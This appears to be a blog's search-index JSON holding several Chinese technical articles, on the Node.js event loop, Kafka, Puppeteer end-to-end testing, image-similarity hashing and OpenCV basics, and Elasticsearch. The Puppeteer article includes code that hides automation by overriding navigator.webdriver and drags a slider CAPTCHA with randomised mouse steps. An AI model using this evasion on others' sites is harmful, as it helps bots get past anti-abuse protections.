CRYPTO ,它有许多 CPU 密集型方法,一些是同步的,一些是异步的。这里看一下 pbkdf2 方法。如果我们在 2 核处理器中执行其同步版本并进行 4 次调用,假设一次调用的执行时间是 2 ms ,则总耗时为 4 * 2 ms = 8 ms 。 但是如果在同一个 CPU(2核)中执行这个方法的异步版本,总耗时则为 2 * 2 ms = 4 ms ,因为处理器将使用默认 4 个线程(下文将会说明),将它托管到两个进程中并执行。 这也就是:Node.js 并发地执行异步方法。 Node.js 使用一组预先分配的线程,称之为线程池,如果我们没有指定要打开的线程数,它默认就是使用 4 个线程。 我们可以通过 UV_THREADPOOL_SIZE 进行设置。 所以,Node.js 是多线程的吗? 当然,Node.js 使用了多线程。 然而,Node.js 到底是单线程还是多线程,这取决于 when ? ","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/:1:0","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Uncate"],"content":"02 我们来看看 TCP 连接。 Thread per connection : 创建一个 TCP server 最简单的方式就是创建一个 socket ,绑定这个 socket 到某个端口上然后 listen 监听。 在我们调用 listen 之前,该 socket 可用于建立连接或接受连接。当我们调用 listen 时,我们准备接受连接。 当连接到达并且我们需要写入它时,直到我们完成写入之前,我们都无法接受另一个连接,这就是我们将它推入另一个线程的原因。所以我们将 socket descriptor 和 function pointer 传递给线程。 现在,系统可以轻松处理几千个线程,但在这种情况下,我们必须为每个连接向线程发送大量数据,并且这样做并不能很好的扩展到两万到四万个并发连接。 但是,我们实际需要的仅仅只是 socket descriptor 套接字描述符,并记住我们要做的事情(也就是如何使用这些套接字)。所以有一种更好的方法:使用 Epoll(unix系统)或着 Kqueue(BSD系统,其实跟 Epoll 是同一个东西,不同系统名称不一样而已)。 Epoll 是 unix 系统相关底层知识。 Epoll 循环: Epoll 能为我们带来什么,为什么要使用它。使用 Epoll 允许我们告诉 Kernel(系统内核)我们关注的事件,并且 Kernel 将会告诉我们这些事件何时发生。在上面的例子中,我们关注的是传入的 TCP 连接,因此,我们创建一个 Epoll 描述符并将其添加到 Epoll 循环中,并调用 wait 。每当有 TCP 连接传入时便会唤醒,然后将它添加到 Epoll 循环中并等待来自它的数据。这就是事件循环为我们做的事情。 举个例子: 当我们通过 http 请求向同一个 2 核处理器下载数据时,4 个,6 个,甚至 8 个请求需要的时间相同。这意味着什么?这意味着这里的限制与我们在线程池中的限制不同。 因为操作系统负责下载,我们只是要求它下载,然后问它:完成了吗?还没好吗?完成了吗?(监听 Epoll 中的 data 事件)。 ","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/:2:0","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Uncate"],"content":"03 APIs 哪些 API 对应于哪种方式呢?(线程,Epoll) 所有 fs.* 方法使用 uv thread pool,除非是同步方法。阻塞调用由线程完成,完成后将信号发送回事件循环。我们无法直接在 Epoll 中 wait ,只能 pipe 。Pipe 管道连接两端:一端是线程,当它完成时,往管道中写入数据,另一端在 Epoll 循环中等待,当它获取到数据时,Epoll 循环唤醒。因此 pipe 是由 Epoll 响应的。 一些主要的方法及其对应的响应方式: EPOLL : TCP/UDP servers and clients pipes dns.resolve NGINX : nginx signals ( sigterm ) Child processes ( exec, spawn ) TTY input ( console ) THREAD POOL : fs. dns.lookup 事件循环负责发送和接受结果,如同中央调度器一般,将请求路由到 C++ API,然后将结果返回给 JavaScript 。 ","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/:3:0","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Uncate"],"content":"04 Event loop 事件循环到底是什么?它是一个无限的 while 循环,调用 Epoll wait 或者 pool ,当 Node.js 中我们关注的事情如 callback 回调、event 事件、fs 发生时,它将返回给 Node.js ,然后当 Epoll 不再有 wait 时退出。这就是 Node.js 中的异步工作方式,以及为什么我们称之为事件驱动。事件循环允许 Node.js 执行非阻塞 IO 操作。尽管 JavaScript 是单线程的,但只要有可能就会将操作丢给系统内核。 事件循环的一次迭代称之为 Tick,它有自己的 phases(阶段)。 更多关于 event loop 的 phases、Timers、process.nextTick() 等请查阅官方文档。 ","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/:4:0","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Uncate"],"content":"05 Node.js v10.5.0 版本之后,新增了 worker_threads 工作线程模块,允许用户多线程并行执行 JavaScript 。 工作线程对于执行 CPU 密集型 JavaScript 操作非常有用,但对于 IO 密集型工作没有多大帮助,因为 Node.js 内置的异步 IO 操作比这些 workers 更高效。 ","date":"2019-05-28","objectID":"/nodejs-event-loop-architecture/:5:0","tags":["Node.js"],"title":"深入理解 Node.js 事件循环架构【译】","uri":"/nodejs-event-loop-architecture/"},{"categories":["Middleware"],"content":"流平台 Kafka","date":"2019-04-11","objectID":"/kafka/","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Middleware"],"content":"简介 Kafka 作为一个分布式的流平台,正在大数据相关领域得到越来越广泛的应用,本文将会介绍 kafka 的相关内容。 流平台如 kafka 具备三大关键能力: 发布和订阅消息流,类似于消息队列。 以容错的方式存储消息流。 实时处理消息流。 kafka 通常应用于两大类应用: 构建实时数据流管道,以可靠的获取系统或应用之间的数据。 构建实时转换或响应数据流的应用程序。 kafka 作为一个消息系统,可以接受 producer 生产者投递消息,以及 consumer 消费者消费消息。 kafka 作为一个存储系统,会将所有消息以追加的方式顺序写入磁盘,这意味着消息是会被持久化的,传统消息队列中的消息一旦被消费通常都会被立即删除,而 kafka 却并不会这样做,kafka 中的消息是具有存活时间的,只有超出存活时间才会被删除,这意味着在 kafka 中能够进行消息回溯,从而实现历史消息的重新消费。 kafka 的流处理,可以持续获取输入流的数据,然后进行加工处理,最后写入到输出流。kafka 的流处理强依赖于 kafka 本身,并且只是一个类库,与当前知名的流处理框架如 spark 和 flink 还是有不小的区别和差距。 大多数使用者以及本文重点关注的也只是 kafka 的前两种能力,下面将会对此进行更加详细的介绍。 ","date":"2019-04-11","objectID":"/kafka/:1:0","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Middleware"],"content":"相关概念 kafka 中的相关概念如下图所示: 1、Producer :生产者,投递消息。 2、Topic :消息的逻辑分类,所有消息都必须归属于一个特定的 topic 主题。 3、Broker :kafka 集群具有多个 broker(代理节点),一个 broker 其实就是一个 kafka 服务器。 4、Partition :topic 只是逻辑上的概念,每个 topic 主题下的消息都会被分开存储在多个 partition 分区中,为了容错,kafka 提供了备份机制,每个 partition 可以设置多个 replication 副本。 5、Consumer :消费者,拉取消息进行消费,每个消费者都从属于一个 consumer group 消费组。 ","date":"2019-04-11","objectID":"/kafka/:2:0","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Middleware"],"content":"消息投递 每条消息由 key、value、timestamp 构成。 消息是存储在 partition 分区上的,至于存储在哪个 partition 分区上则分以下三种情况: 1、producer 投递消息时直接指定具体的 partition 。 2、未指定 partition 并且消息中也没有 key ,那么消息将会被以轮询的方式发送到 topic 下不同的 partition 以实现负载均衡。 3、未指定 partition 但是消息中有 key ,那么将会根据 key 值计算然后发送到指定分区,相同的 key 一定是相同的 partition 。 Producer 投递消息等待响应的情况由 acks 参数确定: 1、acks = 0 :这意味着生产者不会等待任何消息确认,也就是认为发送即成功。 2、acks = 1 :等待 leader 写入消息成功,但不会等待 follower 的确认。这意味着 leader 确认后立马挂掉而 follower 还来不及同步消息,此时消息就会丢失。 3、acks = -1 或者 all :不仅要 leader 确认,还需要所有 in-sync 的副本进行确认。这保证了只要有至少一个 in-sync 的副本存活,消息就不会丢失。 Leader 和 follower 指的都是 broker 对象。 每个 partition 分区都有唯一一个 broker 充当 leader,零个或多个 broker 作为 follower 。这意味着每个服务器在作为某个分区的 leader 的同时也会是其它服务器的 follower 。 消息的读写全部由 leader 处理,而 follower 只负责同步 leader 的消息。 所有正常同步的 broker 都会记录于 ISR( In Sync Replicas )列表中,包括 leader 本身,正常同步的状态也就是 in-sync ,如果某个服务器挂掉了或者同步进度落后太多,那么其也就不再处于 in-sync 状态,并且会从 ISR 中剔除。 ","date":"2019-04-11","objectID":"/kafka/:3:0","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Middleware"],"content":"分区存储 Topic 只是逻辑上的概念,partition 才是实际存储消息的地方,每个 topic 拥有多个 partition 分区。 每个 partition 分区都是一个有序的不可变的记录序列,消息一定是以顺序化的方式追加写入的,也正是这种方式保证了 kafka 的高吞吐量。而每个 partition 分区中的消息都有一个 offset 偏移量作为其唯一标识。 主要注意的是单个 partition 中的消息是有序的,但是整个 topic 并不能保证消息的有序性。 消息是被持久化保存的,何时删除消息完全取决于所设置的保留期限,而与消息是否被消费没有任何关系。对于 kafka 来说,长时间存储大量数据并没有什么问题,而且也不会影响其性能。 ","date":"2019-04-11","objectID":"/kafka/:4:0","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Middleware"],"content":"消息消费 Consumer 消费消息。 每个 consumer 一定从属于一个 consumer group 消费组。 1、消息会被广播到所有订阅的 consumer group 中,不同的 group 互不影响。 2、同一个 group 中,一个 partition 分区只能同时被一个 consumer 消费,但是一个 consumer 可以同时消费多个 partition 分区,group 中的所有 consumer 一起消费所有的 partition 。 3、同一个 group 中,如果 consumer 的数量多于 partition 的数量,那么多出来的 consumer 不会做任何事情。 consumer 消费消息是需要主动向 kafka 拉取的,而不是由 kafka 推送给消费者。kafka 已经将消息进行了持久化,消费者主动拉取消息的优点就在于,消费进度完全由消费者自己掌控,其次,可以进行历史消息重新消费。 在老版本中,消费者 API 分为低级和高级两种。通过低级 API ,消费者可以指定消费特定的 partition 分区,但是对于故障转移等情况需要自己去处理。高级 API 则进行了很多底层处理并抽象了出来,消费者会被自动分配分区,并且当出现故障转移或者增减消费者或分区等情况时,会自动进行消费者再平衡,以确保消息的消费不受影响。 在新版本中,消费者 API 被重构且合并,不再分低级和高级,但消费者仍然可以自定义分区分配或者使用自动分配。 对于不同的客户端 API 使用方法需要参考各自的文档。 ","date":"2019-04-11","objectID":"/kafka/:5:0","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Middleware"],"content":"结语 kafka 具有高吞吐量、低延迟、可扩展、持久化、可容错、高并发等等特性。本文先介绍这么。 ","date":"2019-04-11","objectID":"/kafka/:6:0","tags":["MQ","Kafka"],"title":"流平台 Kafka","uri":"/kafka/"},{"categories":["Uncate"],"content":"使用 Puppeteer 构建自动化端到端测试","date":"2019-03-22","objectID":"/puppeteer/","tags":["Node.js"],"title":"使用 Puppeteer 构建自动化端到端测试","uri":"/puppeteer/"},{"categories":["Uncate"],"content":"端到端测试指的是将系统作为一个黑盒,模拟正常用户行为,跨越从前端到后端整个软件系统,是一种全局性的整体测试。 来看本文的示例: There should have been a video here but your browser does not seem to support it. 你在视频中看到的所有操作全部都是由程序自动完成的,就像真实的用户一样,通过这种自动化的方式可以很好的提升我们的测试效率从而保证交付的质量。 完成这样的操作相当简单,只需要 Puppeteer 就够了。Puppeteer 是一个 node 库,通过它提供的高级 API 便可以控制 chromium 或者 chrome ,换句话说,在浏览器中进行的绝大部分人工操作都可以通过在 node 程序中调用 Puppeteer 的 API 来完成。 本文示例中的所有操作无外乎于: 获取页面元素 键盘输入 鼠标操作 文件上传 执行原生JS 一、打开浏览器跳转页面: const browser = await puppeteer.launch({ headless: false, // 打开浏览器 defaultViewport: { // 设置视窗宽高 width: 1200, height: 800 } }); const page = await browser.newPage(); await page.goto(url); // 跳转页面 二、获取输入框并输入: // -----------------------输入账号密码---------------------------- const input_username = await page.waitForSelector('input[placeholder=\"用户名\"]'); const input_password = await page.waitForSelector('input[placeholder=\"密码\"]'); await input_username.type(username); await input_password.type(password); // --------------------------------------------------- 通过 page.waitForSelector 方法等待获取到指定的页面元素,也就是 elementHandle , 再直接执行 elementHandle 的 type 方法即可完成键盘输入。 三、通过滑动验证: 1、滑动验证必须要禁用 navigator ,这里通过 page.evaluate 方法直接执行原生JS 即可: await page.evaluate(async () =\u003e { // 滑动验证禁用 navigator await Object.defineProperty(navigator, 'webdriver', {get: () =\u003e false}) }); 2、鼠标操作进行验证: async function aliNC (page) { const nc = await (await page.waitForSelector('.nc-lang-cnt')).boundingBox(); // 获取滑动验证边界框 await page.mouse.move(nc.x, nc.y); // 鼠标移动到起始位置 await page.mouse.down(); // 鼠标按下 const steps = Math.floor(Math.random() * 50 + 20); // 随机 steps await page.mouse.move(nc.x + nc.width, nc.y, { steps: steps}); // 移动到滑块末端位置 await page.mouse.up(); // 鼠标松开 await page.waitForTimeout(1200); // 延时等待验证完成 } 先获取到滑动验证的页面元素,再通过 elementHandle 的 boundingBox 方法获取边界框,从而确定 X、Y 二维坐标。 通过 page 的 mouse 相关方法即可进行 move 鼠标移动、down 鼠标按下、up 鼠标松开等操作,需要注意的是我们最好随机生成 steps 来控制鼠标移动的快慢从而避免验证失败。 四、上传文件: 现获取到上传相关的 input 元素即 elementHandle ,然后再调用 elementHandle 的 uploadFile(…filePaths) 方法即可,filePaths 就是文件的路径,如果是相对路径则是相对于当前工作目录。 五、其它: 你会发现几乎所有用户动作就是先获取到相关元素,然后进行键盘或鼠标操作,把它们组合起来就成一整套操作流程。 是自动化的吗?是的,没有人工操作,都是程序在自动进行。 是否真的有效?有效,所有操作都是模拟用户进行的真实行为,从看到前端页面,到提交数据,到请求后端接口,可以说是走了一遍完整的流程,并且整个过程也是可视的,在测试过程中即可发现异常。 最后,我相信 Puppeteer 值得你好好玩一玩,更多用法和 API 还是多翻翻官网,真的很简单。 ","date":"2019-03-22","objectID":"/puppeteer/:0:0","tags":["Node.js"],"title":"使用 Puppeteer 构建自动化端到端测试","uri":"/puppeteer/"},{"categories":["Uncate"],"content":"图像相似性:哈希和特征","date":"2019-03-14","objectID":"/image-similarity/","tags":["Python","OpenCV"],"title":"图像相似性:哈希和特征","uri":"/image-similarity/"},{"categories":["Uncate"],"content":"引言 如何判断图像的相似性? 直接比较图像内容的 md5 值肯定是不行的,md5 的方式只能判断像素级别完全一致。图像的基本单元是像素,如果两张图像完全相同,那么图像内容的 md5 值一定相同,然而一旦小部分像素发生变化,比如经过缩放、水印、噪声等处理,那么它们的 md5 值就会天差地别。 本文将会介绍图像相似性的两大有关概念:图像哈希、图像特征。 ","date":"2019-03-14","objectID":"/image-similarity/:1:0","tags":["Python","OpenCV"],"title":"图像相似性:哈希和特征","uri":"/image-similarity/"},{"categories":["Uncate"],"content":"图像哈希 图像通过一系列的变换和处理最终得到的一组哈希值称之为图像的哈希值,而中间的变换和处理过程则称之为哈希算法。 下面以 Average Hash 算法为例描述这一基本过程: 1、Reduce size : 将原图压缩到 8 x 8 即 64 像素大小,忽略细节。 2、Reduce color : 灰度处理得到 64 级灰度图像。 3、Average the colors : 计算 64 级灰度均值。 4、Compute the bits : 二值化处理,将每个像素与上一步均值比较并分别记为 0 或者 1 。 5、Construct the hash : 根据上一步结果矩阵构成一个 64 bit 整数,比如按照从左到右、从上到下的顺序。最后得到的就是图像的均值哈希值。 参考:http://www.hackerfactor.com/blog/?/archives/432-Looks-Like-It.html 如果你稍加留意,就会发现 Average Hash 均值哈希算法的处理过程相当简单,优点就是计算速度快,缺点就是局限性比较明显。 当然计算机视觉领域发展到现在已经有了多种图像哈希算法,OpenCV 支持的图像哈希算法包括: AverageHash : 也叫 Different Hash. PHash : Perceptual Hash. MarrHildrethHash : Marr-Hildreth Operator Based Hash. RadialVarianceHash : Image hash based on Radon transform. BlockMeanHash : Image hash based on block mean. ColorMomentHash : Image hash based on color moments. 这些哈希算法的具体实现过程不在本文的讲述范围内,我们重点关注的是他们的实际表现。 如上图所示,左下角标明了如水印、椒盐噪声、旋转、缩放、jpeg压缩、高斯噪声、高斯模糊、对比度等对抗影响,右下角则是各种哈希算法,圆锥体的高度则代表哈希算法对各种影响的抗性,高度越高说明抗性越高、越能成功匹配。 值得注意的是,不同的哈希算法输出的哈希值是不同的(在 OpenCV 中),这里是指数据类型和位数并不完全相同,结果越复杂需要的计算成本也就越高。 下面运用这些哈希算法对某张图分别计算其哈希值,观察他们的输出结果: 从上图中可以看到,ColorMomentHash 比较特别,输出的是浮点数,它也是唯一一个能够对抗旋转的哈希算法,但是也局限于 -90 ~ 90 度。 图像的哈希值提取出来了,那么下一个问题来了,如何比较两张图片的相似性? ","date":"2019-03-14","objectID":"/image-similarity/:2:0","tags":["Python","OpenCV"],"title":"图像相似性:哈希和特征","uri":"/image-similarity/"},{"categories":["Uncate"],"content":"Hamming distance Hamming distance 汉明距离,指的是两个等长字符串对应位置不同字符的个数。 例如: 1 0 1 1 1 0 1 1 0 0 1 0 0 1 汉明距离为 2 。 两张图片之间的相似性可以通过他们的哈希值之间的汉明距离来判断,汉明距离越小则说明图片越相似,ColorMomentHash 除外。 如果我们的图片在百万以上量级,那么我们如何在实际工程应用中快速找到相似的图片?难点在于提取了所有图片构建哈希数据集后如何存储,其次如何进行百万次比较也就是计算汉明距离。 答案是构建倒排索引,例如 Elasticsearch 可以轻松实现。但是 ES 并不直接支持计算汉明距离,妄图利用模糊查询你会死的很惨,这里必须变通处理。再回到汉明距离的定义上,假设我们的图片哈希值是 64 bit 位的数据,如果按照定义则需要比较 64 次,但是我们完全可以将哈希值拆分,64 = 8 x 8,每 8 bit 构成一个比较单元,这样我们就只需要比较 8 次即可。为什么能拆分?因为我们认为相似图片即使经过拆分后比较仍然具有较好的匹配性。 显然哈希值越复杂则比较的成本越高,所以在实际应用中我们需要综合业务需求来考量具体采用哪种哈希算法。 图像哈希的方式其实可以理解为图像整体上的相似性。既然有整体,那么就有局部。 ","date":"2019-03-14","objectID":"/image-similarity/:3:0","tags":["Python","OpenCV"],"title":"图像相似性:哈希和特征","uri":"/image-similarity/"},{"categories":["Uncate"],"content":"图像特征 「一双丹凤双角眼,两弯柳叶吊梢眉」,人脸可以有特征,那么图像呢?当然也有,只要图像具有类似的特征,那么就可以认为他们是相似的,这也就是局部相似性: 例如上面左右两张图,特征匹配,局部相似。 什么是特征?特征一定是图片的低频部分。 上图三个部分,显然蓝色圈能匹配更多,黑色圈次之,红色圈最不易匹配,如果要选择一个作为特征,当然就是红色圈。 Corner Detection : 图像特征提取的基础算法,目的在于提取图像中的 corner ,这里的 corner 可并不是四个边框角,而是图像中的具有突变特征的点,例如: Corner detectors 最大的缺点在于无法应对伸缩情况,为了解决这个问题 SIFT 特征提取算法问世,SIFT 的全称即 Scale Invariant Feature Transform 。 Keypoint 和 Descriptor :keypoint 也就是图像的特征点,descriptor 则是对应特征点的描述因子,在 OpenCV 中,keypoint 也一组浮点数矩阵,这并不利于计算,于是可以将其转换为了整形值也就是 descriptor ,每一个特征点的 descriptor 描述因子就是一个多维向量。 SIFT 提取特征点示例: 需要注意的是一张图像的特征点是有多个的。 SIFT 算法的缺点在于计算速度太慢,SIFT 每个特征点的 descriptor 有 128 维。为此 SURF( Speeded-Up Robust Features )算法对其进行了加速优化,SURF 特征点可以是 64 维,也可以转换为 128 维。 SIFT 和 SURF 算法都是有专利的,这意味着你有责任和义务向其付费,然而 OpenCV 团队经过自己的研究提出了一个更快速优秀且免费的 ORB ( Oriented FAST and Rotated BRIEF )算法,每个特征点更只有 32 维,减少了更多计算成本。 特征点提取出来了,怎么通过特征点去比较图像的相似性?两个特征点之间的汉明距离小于一定程度,则我们认为这两个特征点是匹配的,每张图像可以提取出多个特征点,匹配的特征点的个数达到我们设定的阈值,则我们就可以认为这两张图片是相似的。 ","date":"2019-03-14","objectID":"/image-similarity/:4:0","tags":["Python","OpenCV"],"title":"图像相似性:哈希和特征","uri":"/image-similarity/"},{"categories":["Uncate"],"content":"结语 相同图像像素级别完全相同,相似图片则分为两级,图像哈希对应整体相似,图像特征对应局部相似。 ","date":"2019-03-14","objectID":"/image-similarity/:5:0","tags":["Python","OpenCV"],"title":"图像相似性:哈希和特征","uri":"/image-similarity/"},{"categories":["Uncate"],"content":"图像处理基础","date":"2019-02-26","objectID":"/image-processing/","tags":["Python","OpenCV"],"title":"图像处理基础","uri":"/image-processing/"},{"categories":["Uncate"],"content":"图像处理基础 现如今我们每时每刻都在与图像打交道,而图像处理也是我们绕不开的问题,本文将会简述图像处理的基础知识以及对常见的裁剪、画布、水印、平移、旋转、缩放等处理的实现。 在进行图像处理之前,我们必须要先回答这样一个问题:什么是图像? 答案是像素点的集合。 如上图所示,假设红色圈的部分是一幅图像,其中每一个独立的小方格就是一个像素点(简称像素),像素是最基本的信息单元,而这幅图像的大小就是 11 x 11 px 。 1、二值图像: 图像中的每个像素点只有黑白两种状态,因此每个像素点的信息可以用 0 和 1 来表示。 2、灰度图像: 图像中的每个像素点在黑色和白色之间还有许多级的颜色深度(表现为灰色),通常我们使用 8 个 bit 来表示灰度级别,因此总共有 2 ^ 8 = 256 级灰度,所以可以使用 0 到 255 范围内的数字来对应表示灰度级别。 3、RGB图像: 红(Red)、绿(Green)、蓝(Blue)作为三原色可以调和成任意的颜色,对于 RGB 图像,每个像素点包含 RGB 共三个通道的基本信息,类似的,如果每个通道用 8 bit 表示即 256 级灰度,那么一个像素点可以表示为: ([0 ... 255], [0 ... 255], [0 ... 255]) 图像矩阵: 每个图像都可以很自然的用矩阵来表示,每个像素对应矩阵中的每个元素。 例如: 1、4 x 4 二值图像: 0 1 0 1 1 0 0 0 1 1 1 1 0 0 0 0 2、4 x 4 灰度图像: 156 255 0 14 12 78 94 134 240 55 1 11 0 4 50 100 3、4 x 4 RGB 图像: (156, 22, 45) (255, 0, 0) (0, 156, 32) (14, 2, 90) (12, 251, 88) (78, 12, 34) (94, 90, 87) (134, 0, 2) (240, 33, 44) (55, 66, 77) (1, 28, 167) (11, 11, 11) (0, 0, 0) (4, 4, 4) (50, 50, 50) (100, 10, 10) 在编程语言中使用哪种数据类型来表示矩阵?答案是多维数组。例如上述 4 x 4 RGB 图像可转换为: [ [ (156, 22, 45), (255, 0, 0), (0, 156, 32), (14, 2, 90) ], [ (12, 251, 88), (78, 12, 34), (94, 90, 87), (134, 0, 2) ], [ (240, 33, 44), (55, 66, 77), (1, 28, 167), (11, 11, 11) ], [ (0, 0, 0), (4, 4, 4), (50, 50, 50), (100, 10, 10) ] ] 图像处理的本质实际上就是在处理像素矩阵即像素多维数组运算。 ","date":"2019-02-26","objectID":"/image-processing/:0:0","tags":["Python","OpenCV"],"title":"图像处理基础","uri":"/image-processing/"},{"categories":["Uncate"],"content":"基本处理实现 对于图像的基本处理,本文示例使用的是 opencv-python 和 numpy 库。 示例: # -*- coding: utf-8 -*- # 图像处理 import numpy as np import cv2 as cv img = cv.imread('../images/cat.jpg') # 333 x 500 rows, cols, channels = img.shape # 1、裁剪:切割矩阵 cut = img[100:200, 333:444] # 选取第100到200行,第333到444列的区间 # 2、画布:填充矩阵 background = np.zeros((600, 600, 3), dtype=np.uint8) # 创建 600 x 600 黑色画布 background[100:433, 50:550] = img # 画布指定区域填充图像 # 3、水印:合并矩阵 # addWeighted 参数:src1, alpha, src2, beta, gamma # dst = src1 * alpha + src2 * beta + gamma; watermark = cv.imread('../images/node.jpg') # 600 x 800 watermark = watermark[200:533, 200:700]; dst = cv.addWeighted(watermark, 0.3, img, 0.7, 0); # 确保相同的 size 和 channel # 4、平移 # shift (x, y), 构建平移变换矩阵 M: [[1, 0, tx], [0, 1, ty]], 缺省部分填充黑色 M = np.array([[1, 0, -100], [0, 1, 100]], dtype=np.float32) shift = cv.warpAffine(img, M, (cols, rows)) # 5、旋转 # getRotationMatrix2D 参数: center 中心点,angle 旋转角度,scale 缩放 M = cv.getRotationMatrix2D(((cols-1)/2.0, (rows-1)/2.0), -60, 1) rotation = cv.warpAffine(img, M, (cols, rows)) # 6、缩放 # resize 参数:src 输入图像,dsize 输出图片大小,dst 输出图像,fx 水平方向缩放,fy 垂直方向缩放,interpolation 缩放算法 resize = cv.resize(img, None, fx = 2, fy = 2, interpolation = cv.INTER_LINEAR) 裁剪:切割矩阵即可。 画布:先构建指定大小的画布背景,再填充图像即可。 水印:矩阵合并运算,使用 cv : addWeighted 方法。 平移:构建平移变换矩阵,使用 cv : warpAffine 方法。 旋转:构建旋转变换矩阵,使用 cv : warpAffine 方法。 缩放:使用 cv : resize 方法。 OpenCV 提供的 resize 缩放算法包括: 根据官方的文档,缩小图像时建议使用 INTER_AREA 算法,放大图像时建议使用 INTER_CUBIC(较慢)算法或者 INTER_LINEAR(更快效果也不错)算法。 ","date":"2019-02-26","objectID":"/image-processing/:1:0","tags":["Python","OpenCV"],"title":"图像处理基础","uri":"/image-processing/"},{"categories":["Uncate"],"content":"结语 本文介绍了图像处理的基础,以及通过 OpenCV 实现了几种常见的图像处理功能。 ","date":"2019-02-26","objectID":"/image-processing/:2:0","tags":["Python","OpenCV"],"title":"图像处理基础","uri":"/image-processing/"},{"categories":["Elasticsearch"],"content":"Elasticsearch 入门指南","date":"2018-07-29","objectID":"/es-guide/","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"引言 Elasticsearch 是什么?一个开源的可扩展、高可用、分布式的全文搜索引擎。 你为什么需要它?《人生一串》中有这样一段话: 没了烟火气,人生就是一段孤独的旅程。 而我们如何通过烟火气、人生或者旅程等这样的关键词来搜索出这部纪录片呢?显然无论是传统的关系型数据库,还是 NOSQL 数据库都无法实现这样的需求,而这里 Elasticsearch 就派上了用场。 再来理解全文搜索是什么?举例来说,就是将上面那段话按照语义拆分成不同的词组并记录其出现的频率(专业术语叫构建倒排索引),这样当你输入一个简单的关键词就能将其搜索出来。 总而言之,Elasticsearch 就是为搜索而生。 ","date":"2018-07-29","objectID":"/es-guide/:0:1","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"一、基本概念 Near Realtime(近实时) Elasticsearch 是一个近实时的搜索平台。为什么是近实时?在传统的数据库中一旦我们插入了某条数据,则立刻可以搜索到它,这就是实时。反之在 Elasticsearch 中为某条数据构建了索引(插入数据的意思)之后,并不能立刻就搜索到,因为它在底层需要进行构建倒排索引、将数据同步到副本等等一系列操作,所以是近实时(通常一秒以内,无需过于担心)。 Cluster(集群)\u0026 Node(节点) 每一个单一的 Elasticsearch 服务器称之为一个 Node 节点,而一个或多个 Node 节点则组成了 Cluster 集群。Cluster 和 Node 一定是同时存在的,换句话说我们至少拥有一个由单一节点构成的集群,而在实际对外提供索引和搜索服务时,我们应该将 Cluster 集群视为一个基本单元。 Cluster 集群默认的名称就是 elasticsearch ,而 Node 节点默认的名称是一个随机的 UUID ,我们只要将不同 Node 节点的 cluster name 设置为同一个名称便构成了一个集群(不论这些节点是否在同一台服务器上,只要网络有效可达,Elasticsearch 本身会自己去搜索并发现这些节点并构成集群)。 Index(索引)\u0026 Type(类型)\u0026 Document(文档) Document(文档)是最基本的数据单元,我们可以将其理解为 mysql 中的具体的某一行数据。 Type(类型)在 6.0 版本之后被移除,它是一个逻辑分类,我们可以将其理解为 mysql 中的某一张表。 Index(索引)是具有类似特征的 Document 文档的集合,我们可以将其理解为 mysql 中的某一个数据库。 Shards(分片)\u0026 Replicas(副本) 为了更有效的存储庞大体量的数据,Elasticsearch 有了 shard 分片的存在,在对数据进行存储便会将其分散到不同的 shard 分片中,这就如同在使用 mysql 时,如果一张表的数据量过于庞大时,我们将其水平拆分为多张表一样的道理。然而 shard 的分布方式以及如何将不同分片的文档聚合回搜索请求都是由 Elasticsearch 本身来完成,这些对用户而言是无感的。同时分片的数量一旦设置则在索引创建后便无法修改,默认为五个分片。 对于副本,则是为了防止数据丢失、实现高可用,同时副本也是可以进行查询的,所以也有助于提高吞吐量。副本与分片一一对应,副本的数量可以随时调整,默认设置为每一个主分片有一个副本分片。副本分片和主分片一定不会被分配在同一个节点中,所以对于单节点集群而言,副本分片是无效的。 ","date":"2018-07-29","objectID":"/es-guide/:1:0","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"二、Mapping Mapping (映射)在 ES 中的作用至关重要,数据结构、存储和索引规则等等都是通过 mapping 来进行设置的。 ","date":"2018-07-29","objectID":"/es-guide/:2:0","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Dynamic Mapping(动态映射) 在使用传统关系型数据库如 mysql 时,如果不事先明确定义数据结构是无法进行数据操作的,但是在 ES 中不需要这样,因为 ES 本身会自己去检测数据并给出其数据类型然后进行索引或存储。所以称之为动态映射。 数据类型的判断及定义规则如下: 然而,仅仅依赖于 ES 自身去判断并定义数据类型显然是比较受限的,我们仍然需要对数据类型进行密切关注。 需要注意的是,虽然 mapping 映射是动态的,但这并不意味着我们可以随意的修改它,对于已经存在的 field mapping(字段映射)是无法直接修改的,只能重新索引(reindex),所以我们需要对 mapping 有一个深入的了解。 ","date":"2018-07-29","objectID":"/es-guide/:2:1","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Field datatypes(字段数据类型) ES 中的 filed(字段)如同 mysql 表中的列一样,其数据类型也有很多种: ","date":"2018-07-29","objectID":"/es-guide/:2:2","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Meta-fields(元字段) 每一个 document 都有一些与之关联的元数据: 